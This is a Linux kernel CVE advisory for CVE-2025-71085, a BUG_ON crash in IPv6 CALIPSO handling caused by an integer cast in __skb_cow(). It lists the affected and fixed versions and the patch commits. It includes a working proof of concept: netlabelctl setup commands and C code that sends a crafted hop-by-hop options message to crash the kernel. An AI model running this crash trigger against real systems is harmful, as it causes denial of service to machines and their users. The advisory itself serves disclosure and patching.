linux-cve-announce - CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff

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Message-ID: <2026011340-CVE-2025-71085-e6c1@gregkh>
Date: Tue, 13 Jan 2026 16:35:44 +0100
From: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
To: linux-cve-announce@...r.kernel.org
Cc: Greg Kroah-Hartman <gregkh@...nel.org>
Subject: CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

From: Greg Kroah-Hartman <gregkh@...nel.org>

Description
===========

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);

The Linux kernel CVE team has assigned CVE-2025-71085 to this issue.


Affected and fixed versions
===========================

	Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.1.160 with commit 2bb759062efa188ea5d07242a43e5aa5464bbae1
	Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.6.120 with commit c53aa6a5086f03f19564096ee084a202a8c738c0
	Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.12.64 with commit bf3709738d8a8cc6fa275773170c5c29511a0b24
	Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.18.4 with commit 73744ad5696dce0e0f43872aba8de6a83d6ad570
	Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.19-rc4 with commit 58fc7342b529803d3c221101102fe913df7adb83

Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.

Unaffected versions might change over time as fixes are backported to
older supported kernel versions.  The official CVE entry at
	https://cve.org/CVERecord/?id=CVE-2025-71085
will be updated if fixes are backported, please check that for the most
up to date information about this issue.


Affected files
==============

The file(s) affected by this issue are:
	net/ipv6/calipso.c


Mitigation
==========

The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes.  Individual
changes are never tested alone, but rather are part of a larger kernel
release.  Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all.  If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
	https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
	https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0
	https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24
	https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
	https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83